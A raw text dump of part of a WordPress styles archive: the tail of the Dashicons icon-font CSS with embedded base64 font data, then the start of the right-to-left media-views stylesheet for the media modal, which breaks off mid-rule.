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") format("woff"),url("../fonts/dashicons.ttf?99ac726223c749443b642ce33df8b800") format("truetype");font-weight:400;font-style:normal}.dashicons,.dashicons-before:before{font-family:dashicons;display:inline-block;line-height:1;font-weight:400;font-style:normal;text-decoration:inherit;text-transform:none;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;width:20px;height:20px;font-size:20px;vertical-align:top;text-align:center;transition:color .1s ease-in}.dashicons-admin-appearance:before{content:"\f100"}.dashicons-admin-collapse:before{content:"\f148"}.dashicons-admin-comments:before{content:"\f101"}.dashicons-admin-customizer:before{content:"\f540"}.dashicons-admin-generic:before{content:"\f111"}.dashicons-admin-home:before{content:"\f102"}.dashicons-admin-links:before{content:"\f103"}.dashicons-admin-media:before{content:"\f104"}.dashicons-admin-multisite:before{content:"\f541"}.dashicons-admin-network:before{content:"\f112"}.dashicons-admin-page:before{content:"\f105"}.dashicons-admin-plugins:before{content:"\f106"}.dashicons-admin-post:before{content:"\f109"}.dashicons-admin-settings:before{content:"\f108"}.dashicons-admin-site-alt:before{content:"\f11d"}.dashicons-admin-site-alt2:before{content:"\f11e"}.dashicons-admin-site-alt3:before{content:"\f11f"}.dashicons-admin-site:before{content:"\f319"}.dashicons-admin-tools:before{content:"\f107"}.dashicons-admin-users:before{content:"\f110"}.dashicons-airplane:before{content:"\f15f"}.dashicons-album:before{content:"\f514"}.dashicons-align-center:before{content:"\f134"}.dashicons-align-full-width:before{content:"\f114"}.dashicons-align-left:before{content:"\f135"}.dashicons-align-none:before{content:"\f138"}.dashicons-align-pull-left:before{content:"\f10a"}.dashicons-align-pull-right:before{content:"\f10b"}.dashicons-align-right:before{content:"\f136"}.dashicons-align-wide:before{content:"\f11b"}.dashicons-amazon:before{content:"\f162"}.dashicons-analytics:before{content:"\f183"}.dashicons-archive:before{content:"\f480"}.dashicons-arrow-down-alt:before{content:"\f346"}.dashicons-arrow-down-alt2:before{content:"\f347"}.dashicons-arrow-down:before{content:"\f140"}.dashicons-arrow-left-alt:before{content:"\f340"}.dashicons-arrow-left-alt2:before{content:"\f341"}.dashicons-arrow-left:before{content:"\f141"}.dashicons-arrow-right-alt:before{content:"\f344"}.dashicons-arrow-right-alt2:before{content:"\f345"}.dashicons-arrow-right:before{content:"\f139"}.dashicons-arrow-up-alt:before{content:"\f342"}.dashicons-arrow-up-alt2:before{content:"\f343"}.dashicons-arrow-up-duplicate:before{content:"\f143"}.dashicons-arrow-up:before{content:"\f142"}.dashicons-art:before{content:"\f309"}.dashicons-awards:before{content:"\f313"}.dashicons-backup:before{content:"\f321"}.dashicons-bank:before{content:"\f16a"}.dashicons-beer:before{content:"\f16c"}.dashicons-bell:before{content:"\f16d"}.dashicons-block-default:before{content:"\f12b"}.dashicons-book-alt:before{content:"\f331"}.dashicons-book:before{content:"\f330"}.dashicons-buddicons-activity:before{content:"\f452"}.dashicons-buddicons-bbpress-logo:before{content:"\f477"}.dashicons-buddicons-buddypress-logo:before{content:"\f448"}.dashicons-buddicons-community:before{content:"\f453"}.dashicons-buddicons-forums:before{content:"\f449"}.dashicons-buddicons-friends:before{content:"\f454"}.dashicons-buddicons-groups:before{content:"\f456"}.dashicons-buddicons-pm:before{content:"\f457"}.dashicons-buddicons-replies:before{content:"\f451"}.dashicons-buddicons-topics:before{content:"\f450"}.dashicons-buddicons-tracking:before{content:"\f455"}.dashicons-building:before{content:"\f512"}.dashicons-businessman:before{content:"\f338"}.dashicons-businessperson:before{content:"\f12e"}.dashicons-businesswoman:before{content:"\f12f"}.dashicons-button:before{content:"\f11a"}.dashicons-calculator:before{content:"\f16e"}.dashicons-calendar-alt:before{content:"\f508"}.dashicons-calendar:before{content:"\f145"}.dashicons-camera-alt:before{content:"\f129"}.dashicons-camera:before{content:"\f306"}.dashicons-car:before{content:"\f16b"}.dashicons-carrot:before{content:"\f511"}.dashicons-cart:before{content:"\f174"}.dashicons-category:before{content:"\f318"}.dashicons-chart-area:before{content:"\f239"}.dashicons-chart-bar:before{content:"\f185"}.dashicons-chart-line:before{content:"\f238"}.dashicons-chart-pie:before{content:"\f184"}.dashicons-clipboard:before{content:"\f481"}.dashicons-clock:before{content:"\f469"}.dashicons-cloud-saved:before{content:"\f137"}.dashicons-cloud-upload:before{content:"\f13b"}.dashicons-cloud:before{content:"\f176"}.dashicons-code-standards:before{content:"\f13a"}.dashicons-coffee:before{content:"\f16f"}.dashicons-color-picker:before{content:"\f131"}.dashicons-columns:before{content:"\f13c"}.dashicons-controls-back:before{content:"\f518"}.dashicons-controls-forward:before{content:"\f519"}.dashicons-controls-pause:before{content:"\f523"}.dashicons-controls-play:before{content:"\f522"}.dashicons-controls-repeat:before{content:"\f515"}.dashicons-controls-skipback:before{content:"\f516"}.dashicons-controls-skipforward:before{content:"\f517"}.dashicons-controls-volumeoff:before{content:"\f520"}.dashicons-controls-volumeon:before{content:"\f521"}.dashicons-cover-image:before{content:"\f13d"}.dashicons-dashboard:before{content:"\f226"}.dashicons-database-add:before{content:"\f170"}.dashicons-database-export:before{content:"\f17a"}.dashicons-database-import:before{content:"\f17b"}.dashicons-database-remove:before{content:"\f17c"}.dashicons-database-view:before{content:"\f17d"}.dashicons-database:before{content:"\f17e"}.dashicons-desktop:before{content:"\f472"}.dashicons-dismiss:before{content:"\f153"}.dashicons-download:before{content:"\f316"}.dashicons-drumstick:before{content:"\f17f"}.dashicons-edit-large:before{content:"\f327"}.dashicons-edit-page:before{content:"\f186"}.dashicons-edit:before{content:"\f464"}.dashicons-editor-aligncenter:before{content:"\f207"}.dashicons-editor-alignleft:before{content:"\f206"}.dashicons-editor-alignright:before{content:"\f208"}.dashicons-editor-bold:before{content:"\f200"}.dashicons-editor-break:before{content:"\f474"}.dashicons-editor-code-duplicate:before{content:"\f494"}.dashicons-editor-code:before{content:"\f475"}.dashicons-editor-contract:before{content:"\f506"}.dashicons-editor-customchar:before{content:"\f220"}.dashicons-editor-expand:before{content:"\f211"}.dashicons-editor-help:before{content:"\f223"}.dashicons-editor-indent:before{content:"\f222"}.dashicons-editor-insertmore:before{content:"\f209"}.dashicons-editor-italic:before{content:"\f201"}.dashicons-editor-justify:before{content:"\f214"}.dashicons-editor-kitchensink:before{content:"\f212"}.dashicons-editor-ltr:before{content:"\f10c"}.dashicons-editor-ol-rtl:before{content:"\f12c"}.dashicons-editor-ol:before{content:"\f204"}.dashicons-editor-outdent:before{content:"\f221"}.dashicons-editor-paragraph:before{content:"\f476"}.dashicons-editor-paste-text:before{content:"\f217"}.dashicons-editor-paste-word:before{content:"\f216"}.dashicons-editor-quote:before{content:"\f205"}.dashicons-editor-removeformatting:before{content:"\f218"}.dashicons-editor-rtl:before{content:"\f320"}.dashicons-editor-spellcheck:before{content:"\f210"}.dashicons-editor-strikethrough:before{content:"\f224"}.dashicons-editor-table:before{content:"\f535"}.dashicons-editor-textcolor:before{content:"\f215"}.dashicons-editor-ul:before{content:"\f203"}.dashicons-editor-underline:before{content:"\f213"}.dashicons-editor-unlink:before{content:"\f225"}.dashicons-editor-video:before{content:"\f219"}.dashicons-ellipsis:before{content:"\f11c"}.dashicons-email-alt:before{content:"\f466"}.dashicons-email-alt2:before{content:"\f467"}.dashicons-email:before{content:"\f465"}.dashicons-embed-audio:before{content:"\f13e"}.dashicons-embed-generic:before{content:"\f13f"}.dashicons-embed-photo:before{content:"\f144"}.dashicons-embed-post:before{content:"\f146"}.dashicons-embed-video:before{content:"\f149"}.dashicons-excerpt-view:before{content:"\f164"}.dashicons-exit:before{content:"\f14a"}.dashicons-external:before{content:"\f504"}.dashicons-facebook-alt:before{content:"\f305"}.dashicons-facebook:before{content:"\f304"}.dashicons-feedback:before{content:"\f175"}.dashicons-filter:before{content:"\f536"}.dashicons-flag:before{content:"\f227"}.dashicons-food:before{content:"\f187"}.dashicons-format-aside:before{content:"\f123"}.dashicons-format-audio:before{content:"\f127"}.dashicons-format-chat:before{content:"\f125"}.dashicons-format-gallery:before{content:"\f161"}.dashicons-format-image:before{content:"\f128"}.dashicons-format-quote:before{content:"\f122"}.dashicons-format-status:before{content:"\f130"}.dashicons-format-video:before{content:"\f126"}.dashicons-forms:before{content:"\f314"}.dashicons-fullscreen-alt:before{content:"\f188"}.dashicons-fullscreen-exit-alt:before{content:"\f189"}.dashicons-games:before{content:"\f18a"}.dashicons-google:before{content:"\f18b"}.dashicons-googleplus:before{content:"\f462"}.dashicons-grid-view:before{content:"\f509"}.dashicons-groups:before{content:"\f307"}.dashicons-hammer:before{content:"\f308"}.dashicons-heading:before{content:"\f10e"}.dashicons-heart:before{content:"\f487"}.dashicons-hidden:before{content:"\f530"}.dashicons-hourglass:before{content:"\f18c"}.dashicons-html:before{content:"\f14b"}.dashicons-id-alt:before{content:"\f337"}.dashicons-id:before{content:"\f336"}.dashicons-image-crop:before{content:"\f165"}.dashicons-image-filter:before{content:"\f533"}.dashicons-image-flip-horizontal:before{content:"\f169"}.dashicons-image-flip-vertical:before{content:"\f168"}.dashicons-image-rotate-left:before{content:"\f166"}.dashicons-image-rotate-right:before{content:"\f167"}.dashicons-image-rotate:before{content:"\f531"}.dashicons-images-alt:before{content:"\f232"}.dashicons-images-alt2:before{content:"\f233"}.dashicons-index-card:before{content:"\f510"}.dashicons-info-outline:before{content:"\f14c"}.dashicons-info:before{content:"\f348"}.dashicons-insert-after:before{content:"\f14d"}.dashicons-insert-before:before{content:"\f14e"}.dashicons-insert:before{content:"\f10f"}.dashicons-instagram:before{content:"\f12d"}.dashicons-laptop:before{content:"\f547"}.dashicons-layout:before{content:"\f538"}.dashicons-leftright:before{content:"\f229"}.dashicons-lightbulb:before{content:"\f339"}.dashicons-linkedin:before{content:"\f18d"}.dashicons-list-view:before{content:"\f163"}.dashicons-location-alt:before{content:"\f231"}.dashicons-location:before{content:"\f230"}.dashicons-lock-duplicate:before{content:"\f315"}.dashicons-lock:before{content:"\f160"}.dashicons-marker:before{content:"\f159"}.dashicons-media-archive:before{content:"\f501"}.dashicons-media-audio:before{content:"\f500"}.dashicons-media-code:before{content:"\f499"}.dashicons-media-default:before{content:"\f498"}.dashicons-media-document:before{content:"\f497"}.dashicons-media-interactive:before{content:"\f496"}.dashicons-media-spreadsheet:before{content:"\f495"}.dashicons-media-text:before{content:"\f491"}.dashicons-media-video:before{content:"\f490"}.dashicons-megaphone:before{content:"\f488"}.dashicons-menu-alt:before{content:"\f228"}.dashicons-menu-alt2:before{content:"\f329"}.dashicons-menu-alt3:before{content:"\f349"}.dashicons-menu:before{content:"\f333"}.dashicons-microphone:before{content:"\f482"}.dashicons-migrate:before{content:"\f310"}.dashicons-minus:before{content:"\f460"}.dashicons-money-alt:before{content:"\f18e"}.dashicons-money:before{content:"\f526"}.dashicons-move:before{content:"\f545"}.dashicons-nametag:before{content:"\f484"}.dashicons-networking:before{content:"\f325"}.dashicons-no-alt:before{content:"\f335"}.dashicons-no:before{content:"\f158"}.dashicons-open-folder:before{content:"\f18f"}.dashicons-palmtree:before{content:"\f527"}.dashicons-paperclip:before{content:"\f546"}.dashicons-pdf:before{content:"\f190"}.dashicons-performance:before{content:"\f311"}.dashicons-pets:before{content:"\f191"}.dashicons-phone:before{content:"\f525"}.dashicons-pinterest:before{content:"\f192"}.dashicons-playlist-audio:before{content:"\f492"}.dashicons-playlist-video:before{content:"\f493"}.dashicons-plugins-checked:before{content:"\f485"}.dashicons-plus-alt:before{content:"\f502"}.dashicons-plus-alt2:before{content:"\f543"}.dashicons-plus:before{content:"\f132"}.dashicons-podio:before{content:"\f19c"}.dashicons-portfolio:before{content:"\f322"}.dashicons-post-status:before{content:"\f173"}.dashicons-pressthis:before{content:"\f157"}.dashicons-printer:before{content:"\f193"}.dashicons-privacy:before{content:"\f194"}.dashicons-products:before{content:"\f312"}.dashicons-randomize:before{content:"\f503"}.dashicons-reddit:before{content:"\f195"}.dashicons-redo:before{content:"\f172"}.dashicons-remove:before{content:"\f14f"}.dashicons-rest-api:before{content:"\f124"}.dashicons-rss:before{content:"\f303"}.dashicons-saved:before{content:"\f15e"}.dashicons-schedule:before{content:"\f489"}.dashicons-screenoptions:before{content:"\f180"}.dashicons-search:before{content:"\f179"}.dashicons-share-alt:before{content:"\f240"}.dashicons-share-alt2:before{content:"\f242"}.dashicons-share:before{content:"\f237"}.dashicons-shield-alt:before{content:"\f334"}.dashicons-shield:before{content:"\f332"}.dashicons-shortcode:before{content:"\f150"}.dashicons-slides:before{content:"\f181"}.dashicons-smartphone:before{content:"\f470"}.dashicons-smiley:before{content:"\f328"}.dashicons-sort:before{content:"\f156"}.dashicons-sos:before{content:"\f468"}.dashicons-spotify:before{content:"\f196"}.dashicons-star-empty:before{content:"\f154"}.dashicons-star-filled:before{content:"\f155"}.dashicons-star-half:before{content:"\f459"}.dashicons-sticky:before{content:"\f537"}.dashicons-store:before{content:"\f513"}.dashicons-superhero-alt:before{content:"\f197"}.dashicons-superhero:before{content:"\f198"}.dashicons-table-col-after:before{content:"\f151"}.dashicons-table-col-before:before{content:"\f152"}.dashicons-table-col-delete:before{content:"\f15a"}.dashicons-table-row-after:before{content:"\f15b"}.dashicons-table-row-before:before{content:"\f15c"}.dashicons-table-row-delete:before{content:"\f15d"}.dashicons-tablet:before{content:"\f471"}.dashicons-tag:before{content:"\f323"}.dashicons-tagcloud:before{content:"\f479"}.dashicons-testimonial:before{content:"\f473"}.dashicons-text-page:before{content:"\f121"}.dashicons-text:before{content:"\f478"}.dashicons-thumbs-down:before{content:"\f542"}.dashicons-thumbs-up:before{content:"\f529"}.dashicons-tickets-alt:before{content:"\f524"}.dashicons-tickets:before{content:"\f486"}.dashicons-tide:before{content:"\f10d"}.dashicons-translation:before{content:"\f326"}.dashicons-trash:before{content:"\f182"}.dashicons-twitch:before{content:"\f199"}.dashicons-twitter-alt:before{content:"\f302"}.dashicons-twitter:before{content:"\f301"}.dashicons-undo:before{content:"\f171"}.dashicons-universal-access-alt:before{content:"\f507"}.dashicons-universal-access:before{content:"\f483"}.dashicons-unlock:before{content:"\f528"}.dashicons-update-alt:before{content:"\f113"}.dashicons-update:before{content:"\f463"}.dashicons-upload:before{content:"\f317"}.dashicons-vault:before{content:"\f178"}.dashicons-video-alt:before{content:"\f234"}.dashicons-video-alt2:before{content:"\f235"}.dashicons-video-alt3:before{content:"\f236"}.dashicons-visibility:before{content:"\f177"}.dashicons-warning:before{content:"\f534"}.dashicons-welcome-add-page:before{content:"\f133"}.dashicons-welcome-comments:before{content:"\f117"}.dashicons-welcome-learn-more:before{content:"\f118"}.dashicons-welcome-view-site:before{content:"\f115"}.dashicons-welcome-widgets-menus:before{content:"\f116"}.dashicons-welcome-write-blog:before{content:"\f119"}.dashicons-whatsapp:before{content:"\f19a"}.dashicons-wordpress-alt:before{content:"\f324"}.dashicons-wordpress:before{content:"\f120"}.dashicons-xing:before{content:"\f19d"}.dashicons-yes-alt:before{content:"\f12a"}.dashicons-yes:before{content:"\f147"}.dashicons-youtube:before{content:"\f19b"}.dashicons-editor-distractionfree:before{content:"\f211"}.dashicons-exerpt-view:before{content:"\f164"}.dashicons-format-links:before{content:"\f103"}.dashicons-format-standard:before{content:"\f109"}.dashicons-post-trash:before{content:"\f182"}.dashicons-share1:before{content:"\f237"}.dashicons-welcome-edit-page:before{content:"\f119"}PK!™˜‚iáácss/media-views-rtl.cssnuȯÝí/*! This file is auto-generated */ /** * Base Styles */ .media-modal * { box-sizing: content-box; } .media-modal input, .media-modal select, .media-modal textarea { box-sizing: border-box; } .media-modal, .media-frame { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 12px; -webkit-overflow-scrolling: touch; } .media-modal legend { padding: 0; font-size: 13px; } .media-modal label { font-size: 13px; } .media-modal .legend-inline { position: absolute; transform: translate(100%, 50%); margin-right: -1%; line-height: 1.2; } .media-frame a { border-bottom: none; color: #2271b1; } .media-frame a:hover, .media-frame a:active { color: #135e96; } .media-frame a:focus { box-shadow: 0 0 0 2px #2271b1; color: #043959; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .media-frame a.button { color: #2c3338; } .media-frame a.button:hover { color: #1d2327; } .media-frame a.button-primary, .media-frame a.button-primary:hover { color: #fff; } .media-frame input, .media-frame textarea { padding: 6px 8px; } .media-frame select, .wp-admin .media-frame select { min-height: 30px; vertical-align: middle; } .media-frame input[type="text"], .media-frame input[type="password"], .media-frame input[type="color"], .media-frame input[type="date"], .media-frame input[type="datetime"], .media-frame input[type="datetime-local"], .media-frame input[type="email"], .media-frame input[type="month"], .media-frame input[type="number"], .media-frame input[type="search"], .media-frame input[type="tel"], .media-frame input[type="time"], .media-frame input[type="url"], .media-frame input[type="week"], .media-frame textarea, .media-frame select { box-shadow: 0 0 0 transparent; border-radius: 4px; border: 1px solid #8c8f94; background-color: #fff; color: #2c3338; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 13px; line-height: 1.38461538; } .media-frame input[type="text"], .media-frame input[type="password"], .media-frame input[type="date"], .media-frame input[type="datetime"], .media-frame input[type="datetime-local"], .media-frame input[type="email"], .media-frame input[type="month"], .media-frame input[type="number"], .media-frame input[type="search"], .media-frame input[type="tel"], .media-frame input[type="time"], .media-frame input[type="url"], .media-frame input[type="week"] { padding: 0 8px; /* inherits font size 13px */ line-height: 2.15384615; /* 28px */ } /* Search field in the Media Library toolbar */ .media-frame.mode-grid .wp-filter input[type="search"] { font-size: 14px; line-height: 2; } .media-frame input[type="text"]:focus, .media-frame input[type="password"]:focus, .media-frame input[type="number"]:focus, .media-frame input[type="search"]:focus, .media-frame input[type="email"]:focus, .media-frame input[type="url"]:focus, .media-frame textarea:focus, .media-frame select:focus { border-color: #3582c4; box-shadow: 0 0 0 1px #3582c4; outline: 2px solid transparent; } .media-frame input:disabled, .media-frame textarea:disabled, .media-frame input[readonly], .media-frame textarea[readonly] { background-color: #f0f0f1; } .media-frame input[type="search"] { -webkit-appearance: textfield; } .media-frame ::-webkit-input-placeholder { color: #646970; } .media-frame ::-moz-placeholder { color: #646970; } /* * In some cases there's the need of higher specificity, * for example higher than `.media-embed .setting`. */ .media-frame .hidden, .media-frame .setting.hidden { display: none; } /*! * jQuery UI Draggable/Sortable 1.11.4 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ .ui-draggable-handle, .ui-sortable-handle { touch-action: none; } /** * Modal */ .media-modal { position: fixed; top: 30px; right: 30px; left: 30px; bottom: 30px; z-index: 160000; } .wp-customizer .media-modal { z-index: 560000; } .media-modal-backdrop { position: fixed; top: 0; right: 0; left: 0; bottom: 0; min-height: 360px; background: #000; opacity: 0.7; z-index: 159900; } .wp-customizer .media-modal-backdrop { z-index: 559900; } .media-modal-close { position: absolute; top: 0; left: 0; width: 50px; height: 50px; margin: 0; padding: 0; border: 1px solid transparent; background: none; color: #646970; z-index: 1000; cursor: pointer; outline: none; transition: color .1s ease-in-out, background .1s ease-in-out; } .media-modal-close:hover, .media-modal-close:active { color: #135e96; } .media-modal-close:focus { color: #135e96; border-color: #4f94d4; box-shadow: 0 0 3px rgba(34, 113, 177, 0.8); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .media-modal-close span.media-modal-icon { background-image: none; } .media-modal-close .media-modal-icon:before { content: "\f158"; content: "\f158" / ''; font: normal 20px/1 dashicons; vertical-align: middle; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .media-modal-content { position: absolute; top: 0; right: 0; left: 0; bottom: 0; overflow: auto; min-height: 300px; box-shadow: 0 5px 15px rgba(0, 0, 0, 0.7); background: #fff; -webkit-font-smoothing: subpixel-antialiased; } .media-modal-content .media-frame select.attachment-filters { margin-top: 32px; margin-left: 2%; width: 42%; width: calc(48% - 12px); } /* higher specificity */ .wp-core-ui .media-modal-icon { background-image: url(../images/uploader-icons.png); background-repeat: no-repeat; } /** * Toolbar */ .media-toolbar { position: absolute; top: 0; right: 0; left: 0; z-index: 100; height: 60px; padding: 0 16px; border: 0 solid #dcdcde; overflow: hidden; } .media-frame-toolbar .media-toolbar { top: auto; bottom: -47px; height: auto; overflow: visible; border-top: 1px solid #dcdcde; } .media-toolbar-primary { float: left; height: 100%; position: relative; } .media-toolbar-secondary { float: right; height: 100%; } .media-toolbar-primary > .media-button, .media-toolbar-primary > .media-button-group { margin-right: 10px; float: right; margin-top: 15px; } .media-toolbar-secondary > .media-button, .media-toolbar-secondary > .media-button-group { margin-left: 10px; margin-top: 15px; } /** * Sidebar */ .media-sidebar { position: absolute; top: 0; left: 0; bottom: 0; width: 267px; padding: 0 16px; z-index: 75; background: #f6f7f7; border-right: 1px solid #dcdcde; overflow: auto; -webkit-overflow-scrolling: touch; } /* * Implementation of bottom padding in overflow content differs across browsers. * We need a different method. See https://github.com/w3c/csswg-drafts/issues/129 */ .media-sidebar::after { content: ""; display: flex; clear: both; height: 24px; } .hide-toolbar .media-sidebar { bottom: 0; } .media-sidebar h2, .image-details .media-embed h2 { position: relative; font-weight: 600; text-transform: uppercase; font-size: 12px; color: #646970; margin: 24px 0 8px; } .media-sidebar .setting, .attachment-details .setting { display: block; float: right; width: 100%; margin: 0 0 10px; } .attachment-details h2 { display: grid; grid-template-columns: auto 5em; } .media-sidebar .collection-settings .setting { margin: 1px 0; } .media-sidebar .setting.has-description, .attachment-details .setting.has-description { margin-bottom: 5px; } .media-sidebar .setting .link-to-custom { margin: 3px 2px 0; } .media-sidebar .setting span, /* Back-compat for pre-5.3 */ .attachment-details .setting span, /* Back-compat for pre-5.3 */ .media-sidebar .setting .name, .media-sidebar .setting .value, .attachment-details .setting .name { min-width: 30%; margin-left: 4%; font-size: 12px; text-align: left; word-wrap: break-word; } .media-sidebar .setting .name { max-width: 80px; } .media-sidebar .setting .value { text-align: right; } .media-sidebar .setting select { max-width: 65%; } .media-sidebar .setting input[type="checkbox"], .media-sidebar .field input[type="checkbox"], .media-sidebar .setting input[type="radio"], .media-sidebar .field input[type="radio"], .attachment-details .setting input[type="checkbox"], .attachment-details .field input[type="checkbox"], .attachment-details .setting input[type="radio"], .attachment-details .field input[type="radio"] { float: none; margin: 8px 3px 0; padding: 0; } .media-sidebar .setting span, /* Back-compat for pre-5.3 */ .attachment-details .setting span, /* Back-compat for pre-5.3 */ .media-sidebar .setting .name, .media-sidebar .setting .value, .media-sidebar .checkbox-label-inline, .attachment-details .setting .name, .attachment-details .setting .value, .compat-item label span { float: right; min-height: 22px; padding-top: 8px; line-height: 1.33333333; font-weight: 400; color: #646970; } .media-sidebar .checkbox-label-inline { font-size: 12px; } .media-sidebar .copy-to-clipboard-container, .attachment-details .copy-to-clipboard-container { flex-wrap: wrap; margin-top: 10px; margin-right: calc( 35% - 1px ); padding-top: 10px; } /* Needs high specificity. */ .attachment-details .attachment-info .copy-to-clipboard-container { float: none; } .media-sidebar .copy-to-clipboard-container .success, .attachment-details .copy-to-clipboard-container .success { padding: 0; min-height: 0; line-height: 2.18181818; text-align: right; color: #007017; } .compat-item label span { text-align: left; } .media-sidebar .setting input[type="text"], .media-sidebar .setting input[type="password"], .media-sidebar .setting input[type="email"], .media-sidebar .setting input[type="number"], .media-sidebar .setting input[type="search"], .media-sidebar .setting input[type="tel"], .media-sidebar .setting input[type="url"], .media-sidebar .setting textarea, .media-sidebar .setting .value, .attachment-details .setting input[type="text"], .attachment-details .setting input[type="password"], .attachment-details .setting input[type="email"], .attachment-details .setting input[type="number"], .attachment-details .setting input[type="search"], .attachment-details .setting input[type="tel"], .attachment-details .setting input[type="url"], .attachment-details .setting textarea, .attachment-details .setting .value, .attachment-details .setting + .description { box-sizing: border-box; margin: 1px; width: 65%; float: left; } .media-sidebar .setting .value, .attachment-details .setting .value, .attachment-details .setting + .description { margin: 0 1px; text-align: right; } .attachment-details .setting + .description { clear: both; font-size: 12px; font-style: normal; margin-bottom: 10px; } .media-sidebar .setting textarea, .attachment-details .setting textarea, .compat-item .field textarea { height: 62px; resize: vertical; } .media-sidebar .alt-text textarea, .attachment-details .alt-text textarea, .compat-item .alt-text textarea, .alt-text textarea { height: 50px; } .compat-item { float: right; width: 100%; overflow: hidden; } .compat-item table { width: 100%; table-layout: fixed; border-spacing: 0; border: 0; } .compat-item tr { padding: 2px 0; display: block; overflow: hidden; } .compat-item .label, .compat-item .field { display: block; margin: 0; padding: 0; } .compat-item .label { min-width: 30%; margin-left: 4%; float: right; text-align: left; } .compat-item .label span { display: block; width: 100%; } .compat-item .field { float: left; width: 65%; margin: 1px; } .compat-item .field input[type="text"], .compat-item .field input[type="password"], .compat-item .field input[type="email"], .compat-item .field input[type="number"], .compat-item .field input[type="search"], .compat-item .field input[type="tel"], .compat-item .field input[type="url"], .compat-item .field textarea { width: 100%; margin: 0; box-sizing: border-box; } .sidebar-for-errors .attachment-details, 